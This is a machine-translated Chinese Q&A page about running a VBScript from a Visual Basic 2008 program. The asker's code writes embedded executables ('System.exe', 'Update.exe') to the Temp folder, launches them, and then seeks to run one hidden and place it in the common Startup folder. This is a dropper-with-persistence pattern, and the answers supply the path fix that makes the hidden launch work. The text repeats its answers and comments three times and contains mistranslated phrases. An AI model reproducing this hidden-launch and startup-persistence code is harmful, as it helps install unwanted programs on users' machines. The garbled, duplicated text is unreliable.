如果没有基于Windows的脚本主机,如何在Visual Basic 2008中运行vbscript?

如果没有基于Windows的脚本主机,如何在Visual Basic 2008中运行vbscript?,vbscript,Vbscript,我需要帮助来解决此脚本: 问题很简单,无法运行VBScript VB8,因为它使用基于Windows的脚本主机打开并抛出错误 正如你在这里看到的: 我想以普通VBScript运行 Public Class Form1 Dim File As String = "%temp%\Desktop" Dim Copy As String = "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" Dim Pa

我需要帮助来解决此脚本: 问题很简单,无法运行
VBScript VB8
,因为它使用基于Windows的脚本主机打开并抛出错误

正如你在这里看到的:

我想以普通VBScript运行

Public Class Form1
    Dim File As String = "%temp%\Desktop"

    Dim Copy As String = "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"
    Dim Paste As String = "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"

    Dim Pegar As String = "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"

    Dim NEA As String = "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

    IO.File.WriteAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\System.exe", My.Resources.System)
    Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "\System.exe")
    IO.File.WriteAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\Update.exe", My.Resources.update)
错误从这里开始

结束错误

vbscript的脚本是:

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "Update.exe" & Chr(34), 0
Set WshShell = Nothing
我希望它像典型的vbscript脚本一样打开。没有基于Windows的脚本主机。 如果您知道如何将exe移动到
shell:common
startup。 运行vbscript会更好
谢谢。

正如@MCND已经指出的:您的问题不是Windows脚本主机,而是当前工作目录中找不到可执行文件。如果可执行文件位于用户的Temp目录中,则只需将
%Temp%
环境变量添加到可执行文件路径:

WshShell.Run Chr(34) & "%TEMP%\Update.exe" & Chr(34), 0
或者,您可以将目录作为参数传递给脚本,并按如下方式设置工作目录:

WshShell.CurrentDirectory = WScript.Arguments(0)
WshShell.Run Chr(34) & "Update.exe" & Chr(34), 0

正如@MCND已经指出的:您的问题不是Windows脚本主机,而是在当前工作目录中找不到可执行文件。如果可执行文件位于用户的Temp目录中,则只需将
%Temp%
环境变量添加到可执行文件路径:

WshShell.Run Chr(34) & "%TEMP%\Update.exe" & Chr(34), 0
或者,您可以将目录作为参数传递给脚本,并按如下方式设置工作目录:

WshShell.CurrentDirectory = WScript.Arguments(0)
WshShell.Run Chr(34) & "Update.exe" & Chr(34), 0

您的脚本在第2行失败,即未找到的元素是
Update.exe
。您应该包括文件的路径。每个VBScript都由Windows脚本主机执行。总是。我也完全不清楚为什么要创建一个脚本,它除了运行可执行文件之外什么都不做。为什么不从VB.NET代码中运行可执行文件?您可以尝试使用@Tomalak Internet Explorer(IE)只是Windows脚本主机以外的可用脚本主机之一。@Tomalak IE11当然是VB脚本主机,用于向后兼容。与IE10和MSI不同,MS支持不支持IE11 vb脚本主机。这并不重要:您可以在dot Net或Powershell中托管脚本控件并执行vbs文件。我只是澄清了技术上的困惑,没有回答Uticlimate问题。您的脚本在第2行中失败了,也就是说,未找到的元素是
Update.exe
。您应该包括文件的路径。每个VBScript都由Windows脚本主机执行。总是。我也完全不清楚为什么要创建一个脚本,它除了运行可执行文件之外什么都不做。为什么不从VB.NET代码中运行可执行文件?您可以尝试使用@Tomalak Internet Explorer(IE)只是Windows脚本主机以外的可用脚本主机之一。@Tomalak IE11当然是VB脚本主机,用于向后兼容。与IE10和MSI不同,MS支持不支持IE11 vb脚本主机。这并不重要:您可以在dot Net或Powershell中托管脚本控件并执行vbs文件。我只是澄清了技术上的困惑,没有回答Uticlimate问题。您的脚本在第2行中失败了,也就是说,未找到的元素是
Update.exe
。您应该包括文件的路径。每个VBScript都由Windows脚本主机执行。总是。我也完全不清楚为什么要创建一个脚本,它除了运行可执行文件之外什么都不做。为什么不从VB.NET代码中运行可执行文件?您可以尝试使用@Tomalak Internet Explorer(IE)只是Windows脚本主机以外的可用脚本主机之一。@Tomalak IE11当然是VB脚本主机,用于向后兼容。与IE10和MSI不同,MS支持不支持IE11 vb脚本主机。这并不重要:您可以在dot Net或Powershell中托管脚本控件并执行vbs文件。我只是澄清技术上的困惑,而不是回答气候问题。